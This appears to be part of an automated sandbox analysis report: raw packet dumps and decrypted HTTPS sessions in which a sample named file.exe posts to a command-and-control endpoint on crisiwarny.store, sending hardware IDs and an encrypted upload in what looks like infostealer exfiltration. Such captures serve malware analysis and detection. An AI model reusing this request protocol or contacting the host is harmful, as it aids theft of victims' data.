Oct 27, 2024 02:03:16.995348930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 02:03:16.995354891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 02:03:16.995383024 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 02:03:16.995407104 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 02:03:16.995420933 CET	860	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 02:03:16.995434046 CET	1236	IN	Data Raw: db 3d 95 3a e5 3e c2 9c d1 65 c4 67 cf 7b a6 30 44 3d a8 31 c6 fc ad 5d a4 dc d0 6e e4 48 ab 4c 07 af b1 37 a3 4a 8d 74 ef af 5f 7e ed 5c 9e 0d 12 e2 1e fc 07 50 c1 4d 06 42 a9 63 0b 43 a4 11 46 3b 59 87 f7 51 a5 5a f6 ae 5a ad 37 47 a0 34 e6 54 Data Ascii: =:>eg{0D=1]nHL7Jt_~\PMBcCF;YQZZ7G4TUwC?P6\ BW@ZCxxU%}wG9g466N9_UYGP\FdiWl}HpU5`zP;Z.lE6R-e0[_'N+})S_BFoUQ9j%d
Oct 27, 2024 02:03:16.995446920 CET	212	IN	Data Raw: 7e d5 48 80 18 42 05 36 09 84 66 47 d4 64 1b 80 a1 72 ab 3a 4f a8 b3 3a 2b 65 6d 3b d1 de cb 33 57 75 62 6f 2b 85 cc 7e e0 95 a6 8e 50 51 5b 97 19 48 0b d2 cd b5 cc ae 6b 8a 33 84 d1 48 63 3a 5c c5 a0 57 70 a8 09 07 80 c8 c3 3a f2 74 a5 59 ff 1d Data Ascii: ~HB6fGdr:O:+em;3Wubo+~PQ[Hk3Hc:\Wp:tYcn`nNt%U-+zj%I83EI5\|/QhDcvII5diIIQz4GfltiMNuptO}r?4Io
Oct 27, 2024 02:03:17.000708103 CET	1236	IN	Data Raw: 1b a8 be 9d 4d 90 0e 64 3f e5 18 aa 19 6c 1a 47 4b 6d 52 ca d4 c8 ab f7 f1 cc ca 70 5b 5d 32 be 63 04 3b 92 6b 6f 42 b0 96 64 22 47 9b 49 4a 81 33 f0 1c 07 ec f8 cc ed e0 00 e7 d5 8f c2 e6 f9 e3 a3 a7 fd cb 1f f4 95 af d1 a7 05 1c 74 76 50 b4 ac Data Ascii: Md?lGKmRp[]2c;koBd"GIJ3tvPzr {%Sq)/_`@/d9H]RtH2\.X`+wpqTBGIA4*@ww2$:dGntd4P0~P0]`Lc\\-6d<V3E2\|Lb

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.170.64	443	5016	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 01:03:01 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-27 01:03:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-27 01:03:01 UTC	1009	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 01:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g1rafhbijouelkdg7i08n5ma1q; expires=Wed, 19 Feb 2025 18:49:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jzK6o9sse91ceuamsRuFL7nsy2xgQD3t8eYmUv5e0hcZyMsdNWGCBVue6eQSx6lIzNOzj2WevUC%2F9YnPMqK0R8%2BM%2Fazw0sZw%2F3OqZMBbDSoM0clb6u6ddQaLzZa9ljWL5o45"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8ec391e99b2e57-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2190&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=907&delivery_rate=1316363&cwnd=246&unsent_bytes=0&cid=31ea7d1298f12ce2&ts=625&x=0"
2024-10-27 01:03:01 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-27 01:03:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.170.64	443	5016	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 01:03:02 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-27 01:03:02 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-27 01:03:02 UTC	1005	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 01:03:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mi31hsb5cbmqjk39fq6ak3v9fi; expires=Wed, 19 Feb 2025 18:49:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RUqoOSnmqfSQr5wiSL4CRGHDXm31I5WW3JGNSqCbgCwkiD%2Bi8wQp3DI1gxnqTZa6239ZhfMaMVVCiColY%2BeKSS880VdoJ2piOPQEwVQizqi9yhq62lE0gxf9VuzZrtCsezsg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8ec399f85a6bbc-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1180&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=952&delivery_rate=1653912&cwnd=241&unsent_bytes=0&cid=f8c2a2e66830aac3&ts=369&x=0"
2024-10-27 01:03:02 UTC	364	IN	Data Raw: 31 64 38 36 0d 0a 4d 7a 62 78 70 74 72 38 7a 44 4c 2f 30 63 77 42 58 66 76 49 63 75 73 31 32 53 68 6c 45 6a 69 77 2f 32 47 65 69 50 68 6c 2b 6e 6c 49 46 49 65 45 34 4d 6a 67 45 49 79 30 37 6a 73 70 69 62 30 58 78 78 65 34 54 45 63 6f 58 74 47 54 45 76 75 6b 32 68 4f 58 57 77 6c 51 6b 4d 71 70 6d 65 41 51 6d 71 6e 75 4f 77 61 41 36 68 65 46 46 2b 4d 4b 41 48 68 61 30 5a 4d 44 2f 2b 4f 58 46 5a 59 61 57 31 71 57 7a 72 2b 66 71 46 4f 54 76 4b 6c 6b 4f 4a 71 69 48 49 4a 59 73 55 56 48 50 68 72 56 68 55 4f 6b 71 72 55 41 6a 68 68 2b 56 34 4c 4e 2b 49 48 67 53 64 32 30 6f 69 4e 6e 32 61 6b 58 69 56 6d 2f 54 41 35 36 55 4e 69 62 41 76 72 69 69 41 79 63 45 56 74 55 6c 63 2b 31 6c 72 78 65 6d 62 75 69 59 6a 4b 61 36 6c 37 4a 55 4b 4d 4b 58 7a 41 4a 34 4a 34 53 37 Data Ascii: 1d86Mzbxptr8zDL/0cwBXfvIcus12ShlEjiw/2GeiPhl+nlIFIeE4MjgEIy07jspib0Xxxe4TEcoXtGTEvuk2hOXWwlQkMqpmeAQmqnuOwaA6heFF+MKAHha0ZMD/+OXFZYaW1qWzr+fqFOTvKlkOJqiHIJYsUVHPhrVhUOkqrUAjhh+V4LN+IHgSd20oiNn2akXiVm/TA56UNibAvriiAycEVtUlc+1lrxembuiYjKa6l7JUKMKXzAJ4J4S7
2024-10-27 01:03:02 UTC	1369	IN	Data Raw: 32 53 6f 78 32 45 56 37 5a 41 43 48 4e 61 31 5a 63 4a 38 2b 43 65 43 70 55 64 55 56 54 54 69 76 69 5a 74 68 44 46 38 34 31 6d 4c 35 36 6d 42 73 74 74 2b 31 56 4a 61 52 72 56 6b 55 4f 6b 71 70 49 43 6d 78 68 61 57 35 44 4d 73 34 79 75 51 70 75 2b 71 33 45 35 6e 4b 51 61 69 6b 57 78 52 41 46 7a 55 39 6d 55 42 76 76 75 32 6b 6e 59 48 45 6b 55 79 34 53 5a 6b 36 56 63 6c 36 53 75 49 79 44 58 73 31 43 4f 57 2f 73 53 52 33 52 62 31 70 77 48 38 75 53 65 43 35 34 56 58 46 75 56 7a 72 69 5a 70 46 69 56 73 71 4e 6f 4d 4a 6d 76 48 59 31 52 74 30 73 43 4d 42 53 53 6d 68 75 38 73 74 6f 70 6e 78 68 44 46 71 62 48 74 70 43 70 52 74 32 73 34 48 70 2f 6e 71 5a 51 30 52 65 31 54 77 68 69 57 38 43 59 44 65 37 6d 6e 77 47 56 47 46 39 55 6c 73 4f 31 6b 4b 68 58 6e 72 75 71 59 Data Ascii: 2Sox2EV7ZACHNa1ZcJ8+CeCpUdUVTTiviZthDF841mL56mBstt+1VJaRrVkUOkqpICmxhaW5DMs4yuQpu+q3E5nKQaikWxRAFzU9mUBvvu2knYHEkUy4SZk6Vcl6SuIyDXs1COW/sSR3Rb1pwH8uSeC54VXFuVzriZpFiVsqNoMJmvHY1Rt0sCMBSSmhu8stopnxhDFqbHtpCpRt2s4Hp/nqZQ0Re1TwhiW8CYDe7mnwGVGF9UlsO1kKhXnruqY
2024-10-27 01:03:02 UTC	1369	IN	Data Raw: 51 30 52 65 33 51 77 64 37 55 4e 61 64 42 50 48 76 6d 51 43 62 46 6c 5a 65 6e 63 4f 38 6b 71 64 64 6d 37 4f 70 5a 7a 71 4c 72 78 6d 46 57 2f 73 45 52 33 64 43 6b 73 56 44 30 2b 32 4d 42 4c 63 59 51 46 33 54 32 2f 61 48 37 6c 65 52 38 2f 59 6a 4f 4a 79 69 47 34 39 66 75 31 67 43 66 6c 48 54 6c 77 58 39 35 35 59 42 6d 42 70 52 55 70 2f 45 76 35 6d 38 51 70 69 31 76 47 6c 2f 31 2b 6f 58 6b 52 66 6a 43 6a 46 67 54 63 4f 4c 51 63 6e 70 6c 41 6d 66 44 52 46 4c 33 64 33 34 6d 61 49 51 78 66 4f 6c 59 7a 4f 65 6f 68 61 4e 58 37 52 46 44 6d 4a 62 33 70 4d 52 2b 2b 71 54 43 5a 63 58 57 46 6d 55 79 62 4f 55 6f 31 53 61 73 75 34 74 66 35 36 79 55 4e 45 58 6a 56 6f 4b 66 48 54 5a 6b 51 71 38 39 64 51 65 32 42 78 64 46 4d 75 45 76 4a 4b 6d 57 70 4b 36 70 47 6b 77 6b 4b Data Ascii: Q0Re3Qwd7UNadBPHvmQCbFlZencO8kqddm7OpZzqLrxmFW/sER3dCksVD0+2MBLcYQF3T2/aH7leR8/YjOJyiG49fu1gCflHTlwX955YBmBpRUp/Ev5m8Qpi1vGl/1+oXkRfjCjFgTcOLQcnplAmfDRFL3d34maIQxfOlYzOeohaNX7RFDmJb3pMR++qTCZcXWFmUybOUo1Sasu4tf56yUNEXjVoKfHTZkQq89dQe2BxdFMuEvJKmWpK6pGkwkK
2024-10-27 01:03:02 UTC	1369	IN	Data Raw: 39 51 6f 41 61 42 71 4b 33 53 7a 62 33 39 67 6d 6f 6c 74 4f 47 6f 71 45 76 35 4c 75 43 4e 32 2f 72 57 38 33 6c 71 77 5a 68 56 32 79 51 51 74 37 58 74 36 55 42 76 72 72 6e 77 4b 5a 48 31 31 65 6c 63 65 37 6b 61 46 66 6c 66 50 67 49 7a 69 42 36 6b 6a 4a 63 71 78 42 43 58 59 61 7a 64 4d 61 76 4f 32 57 52 38 42 62 58 56 32 56 77 72 32 53 72 31 61 56 74 71 5a 6e 50 70 2b 73 45 34 5a 54 76 6b 73 49 64 46 62 63 6c 77 4c 39 35 70 45 49 6b 78 34 52 47 74 50 44 6f 4e 37 32 45 4b 79 77 75 48 51 76 6c 65 6f 50 78 30 37 37 54 51 73 77 41 70 4b 63 45 66 62 67 6c 41 4b 58 48 6c 4a 62 6c 4d 6d 2b 6b 71 52 5a 6c 62 57 68 61 69 32 61 70 68 36 4f 57 62 64 45 43 6e 70 5a 33 39 31 4e 76 4f 32 43 52 38 42 62 66 56 4f 65 36 72 4f 53 71 52 43 43 2f 62 63 6a 4f 4a 58 71 53 4d 6c Data Ascii: 9QoAaBqK3Szb39gmoltOGoqEv5LuCN2/rW83lqwZhV2yQQt7Xt6UBvrrnwKZH11elce7kaFflfPgIziB6kjJcqxBCXYazdMavO2WR8BbXV2Vwr2Sr1aVtqZnPp+sE4ZTvksIdFbclwL95pEIkx4RGtPDoN72EKywuHQvleoPx077TQswApKcEfbglAKXHlJblMm+kqRZlbWhai2aph6OWbdECnpZ391NvO2CR8BbfVOe6rOSqRCC/bcjOJXqSMl
2024-10-27 01:03:02 UTC	1369	IN	Data Raw: 47 42 4b 30 64 38 79 36 75 6d 4d 44 4a 55 58 45 55 76 64 33 66 69 5a 6f 68 44 46 38 36 68 73 4e 70 71 6c 45 59 42 62 74 6b 38 4f 64 56 76 55 6d 51 6e 32 36 70 77 42 6d 52 35 62 56 35 4c 4f 73 5a 6d 6d 56 35 36 68 37 69 31 2f 6e 72 4a 51 30 52 65 53 54 52 56 2b 53 70 4b 43 54 65 57 71 6e 51 76 59 51 78 46 51 6d 63 75 38 6d 61 4a 57 6d 4c 57 6a 59 6a 43 59 71 68 2b 4e 58 4c 4a 4d 42 6e 31 66 33 35 6b 52 39 75 47 56 43 35 45 58 58 42 54 64 68 4c 2b 47 37 67 6a 64 67 71 4e 74 4d 5a 36 38 55 4a 59 5a 6f 67 6f 41 66 42 71 4b 33 51 4c 77 35 5a 6b 49 6d 78 68 51 58 6f 48 57 74 4a 65 6d 56 5a 47 34 6f 47 55 74 6e 36 55 5a 69 6c 53 79 54 51 39 38 55 4e 47 61 51 37 4b 71 6e 52 2f 59 51 78 46 33 68 4e 53 31 33 72 45 65 68 50 4f 70 62 33 2f 42 36 68 69 45 58 37 46 4f Data Ascii: GBK0d8y6umMDJUXEUvd3fiZohDF86hsNpqlEYBbtk8OdVvUmQn26pwBmR5bV5LOsZmmV56h7i1/nrJQ0ReSTRV+SpKCTeWqnQvYQxFQmcu8maJWmLWjYjCYqh+NXLJMBn1f35kR9uGVC5EXXBTdhL+G7gjdgqNtMZ68UJYZogoAfBqK3QLw5ZkImxhQXoHWtJemVZG4oGUtn6UZilSyTQ98UNGaQ7KqnR/YQxF3hNS13rEehPOpb3/B6hiEX7FO
2024-10-27 01:03:02 UTC	1369	IN	Data Raw: 61 56 41 50 7a 75 6e 67 43 64 47 46 31 66 6c 4d 65 33 6d 71 64 65 6c 4c 7a 75 4c 58 2b 65 73 6c 44 52 46 35 70 52 42 48 78 58 6b 6f 4a 4e 35 61 71 64 43 39 68 44 45 56 69 64 77 62 69 55 71 46 53 59 74 61 52 6d 50 35 4b 70 48 34 31 52 76 30 55 48 65 31 50 54 6d 77 62 32 34 5a 77 4b 6d 78 31 58 46 4e 32 45 76 34 62 75 43 4e 32 54 74 57 34 7a 6e 75 6f 50 78 30 37 37 54 51 73 77 41 70 4b 57 44 2f 6a 74 6d 67 71 62 45 31 52 51 6d 63 47 34 6c 72 78 59 6e 62 53 38 63 54 2b 51 72 78 79 4b 56 37 39 4d 44 6e 5a 5a 31 74 31 4e 76 4f 32 43 52 38 42 62 66 46 69 55 37 62 2b 46 37 6b 2f 54 71 75 35 6b 4d 39 6e 79 55 49 68 63 73 55 55 4b 63 31 7a 52 6c 67 62 32 36 35 30 50 6c 51 6c 53 57 35 7a 41 75 4a 47 6f 56 70 79 38 71 47 51 32 6d 4b 49 58 79 52 6e 37 54 52 38 77 41 Data Ascii: aVAPzungCdGF1flMe3mqdelLzuLX+eslDRF5pRBHxXkoJN5aqdC9hDEVidwbiUqFSYtaRmP5KpH41Rv0UHe1PTmwb24ZwKmx1XFN2Ev4buCN2TtW4znuoPx077TQswApKWD/jtmgqbE1RQmcG4lrxYnbS8cT+QrxyKV79MDnZZ1t1NvO2CR8BbfFiU7b+F7k/Tqu5kM9nyUIhcsUUKc1zRlgb2650PlQlSW5zAuJGoVpy8qGQ2mKIXyRn7TR8wA
2024-10-27 01:03:02 UTC	357	IN	Data Raw: 72 35 64 70 4a 32 42 51 52 44 4b 71 45 73 5a 6d 31 51 59 75 2b 76 6d 52 2f 70 75 52 51 6b 52 66 6a 43 6a 4a 7a 56 4e 79 61 46 65 32 6e 76 52 47 53 48 45 46 54 68 4d 76 34 30 4f 35 57 33 65 76 39 4c 58 2b 64 75 31 44 52 42 2b 6b 52 55 69 4d 4e 67 73 38 63 73 76 50 61 45 64 68 44 41 78 72 54 31 76 6a 47 37 68 65 65 6f 62 78 6c 50 49 2b 70 56 37 64 70 6e 46 41 4b 64 6b 33 44 6f 7a 33 37 38 4a 63 42 6a 77 6f 64 51 5a 44 4b 74 70 6d 34 45 4e 50 7a 6f 53 4e 6e 6f 4f 70 59 79 57 6a 31 43 68 38 77 41 70 4b 6f 41 50 4c 6b 6e 52 47 4a 56 6e 5a 4f 6e 73 4b 76 6a 2b 34 65 33 62 58 75 4f 32 2f 58 36 68 53 59 46 2b 4d 61 56 53 73 50 67 63 70 54 72 76 58 55 48 74 67 4e 45 51 7a 42 69 76 69 4d 37 67 6a 64 39 4b 31 78 4c 5a 2b 70 42 6f 6f 51 68 58 51 70 64 31 7a 58 6d 68 Data Ascii: r5dpJ2BQRDKqEsZm1QYu+vmR/puRQkRfjCjJzVNyaFe2nvRGSHEFThMv40O5W3ev9LX+du1DRB+kRUiMNgs8csvPaEdhDAxrT1vjG7heeobxlPI+pV7dpnFAKdk3Doz378JcBjwodQZDKtpm4ENPzoSNnoOpYyWj1Ch8wApKoAPLknRGJVnZOnsKvj+4e3bXuO2/X6hSYF+MaVSsPgcpTrvXUHtgNEQzBiviM7gjd9K1xLZ+pBooQhXQpd1zXmh
2024-10-27 01:03:02 UTC	1369	IN	Data Raw: 32 36 65 36 0d 0a 44 65 36 56 4f 50 6f 61 68 67 4b 5a 72 74 4c 72 64 55 72 55 63 49 65 31 76 73 6f 79 33 78 36 35 6b 4a 32 69 70 48 57 59 50 48 76 5a 6d 51 62 70 4f 30 75 6d 51 78 6e 36 70 51 78 78 65 30 43 6c 39 4a 47 70 72 64 50 4c 4b 71 67 6b 66 41 57 32 52 58 6e 63 71 2f 69 4c 38 64 76 71 57 6a 62 44 53 59 36 6c 37 4a 55 66 73 53 56 7a 34 61 31 6f 78 44 70 4c 72 49 58 4d 31 49 42 67 54 42 32 2f 61 48 37 6b 62 64 36 2f 77 74 66 34 76 71 53 4d 6b 51 74 55 63 47 63 31 54 52 6a 78 48 36 36 59 77 45 33 79 56 76 64 5a 37 50 74 4a 4f 68 57 36 4f 4e 6a 32 34 30 6c 61 63 66 67 6d 6d 46 58 77 52 2b 56 4e 57 4c 45 72 79 6b 32 67 6a 59 51 32 67 55 32 34 53 48 30 4f 35 49 33 65 76 75 56 6a 79 58 70 42 65 66 52 76 5a 72 43 6e 74 57 33 35 49 49 76 4b 54 61 41 64 68 Data Ascii: 26e6De6VOPoahgKZrtLrdUrUcIe1vsoy3x65kJ2ipHWYPHvZmQbpO0umQxn6pQxxe0Cl9JGprdPLKqgkfAW2RXncq/iL8dvqWjbDSY6l7JUfsSVz4a1oxDpLrIXM1IBgTB2/aH7kbd6/wtf4vqSMkQtUcGc1TRjxH66YwE3yVvdZ7PtJOhW6ONj240lacfgmmFXwR+VNWLEryk2gjYQ2gU24SH0O5I3evuVjyXpBefRvZrCntW35IIvKTaAdh
2024-10-27 01:03:02 UTC	1369	IN	Data Raw: 50 71 47 75 37 6c 54 6a 62 57 74 58 51 47 79 70 68 61 4f 54 62 78 4d 49 56 41 61 6e 4e 30 4d 76 4c 4b 6a 52 39 42 62 62 68 72 54 33 50 6a 47 37 6d 57 65 76 61 42 6b 4b 59 6a 6e 4e 5a 35 55 71 30 77 45 4d 42 53 53 6d 30 4f 6b 75 74 52 48 6e 41 6f 52 44 4d 4f 57 34 38 76 39 42 38 33 68 73 53 30 6d 32 62 78 51 30 51 58 31 43 68 55 77 41 70 4c 61 41 4f 37 34 6e 41 53 4f 47 42 5a 71 72 65 4b 37 6a 36 52 78 6b 4b 4f 70 58 51 47 4d 71 52 36 48 55 4b 31 62 52 7a 34 61 33 64 31 62 78 61 72 53 53 35 34 59 52 78 53 73 69 76 69 47 37 67 6a 64 68 71 31 74 4d 5a 36 38 41 63 52 78 75 46 73 4e 55 56 66 43 6d 6b 4f 79 71 70 78 48 77 45 67 66 46 4a 66 56 2b 4d 62 2b 41 73 62 6d 2f 54 52 76 79 37 56 65 6b 42 65 74 43 6c 38 69 46 4a 4b 50 51 36 53 71 33 51 53 4b 43 56 64 58 Data Ascii: PqGu7lTjbWtXQGyphaOTbxMIVAanN0MvLKjR9BbbhrT3PjG7mWevaBkKYjnNZ5Uq0wEMBSSm0OkutRHnAoRDMOW48v9B83hsS0m2bxQ0QX1ChUwApLaAO74nASOGBZqreK7j6RxkKOpXQGMqR6HUK1bRz4a3d1bxarSS54YRxSsiviG7gjdhq1tMZ68AcRxuFsNUVfCmkOyqpxHwEgfFJfV+Mb+Asbm/TRvy7VekBetCl8iFJKPQ6Sq3QSKCVdX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.170.64	443	5016	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 01:03:03 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: crisiwarny.store
2024-10-27 01:03:03 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 30 38 35 45 33 35 46 33 44 41 43 33 41 33 42 37 41 33 34 44 30 32 35 46 38 45 46 42 39 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"07085E35F3DAC3A3B7A34D025F8EFB9D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 01:03:03 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-27 01:03:04 UTC	1007	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 01:03:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=imkhgb0bdesv2dmkijo563r331; expires=Wed, 19 Feb 2025 18:49:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TZLW9mEj0%2FgBOkiHvOVB3wY0BYxCXrbacWbu9e03cTQWT2b71tWX6JMQk4YOPYYiGE4BdZpHNLZmDylwc5bALrdSwHPwe9ZvEptv9w4Mr0QcknEUpjiVgBC5MscOCfSXQ2oL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8ec3a17caf6c0d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1299&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2838&recv_bytes=19130&delivery_rate=1734131&cwnd=251&unsent_bytes=0&cid=4bbe977976ed023f&ts=693&x=0"
2024-10-27 01:03:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 01:03:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.170.64	443	5016	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 01:03:05 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: crisiwarny.store
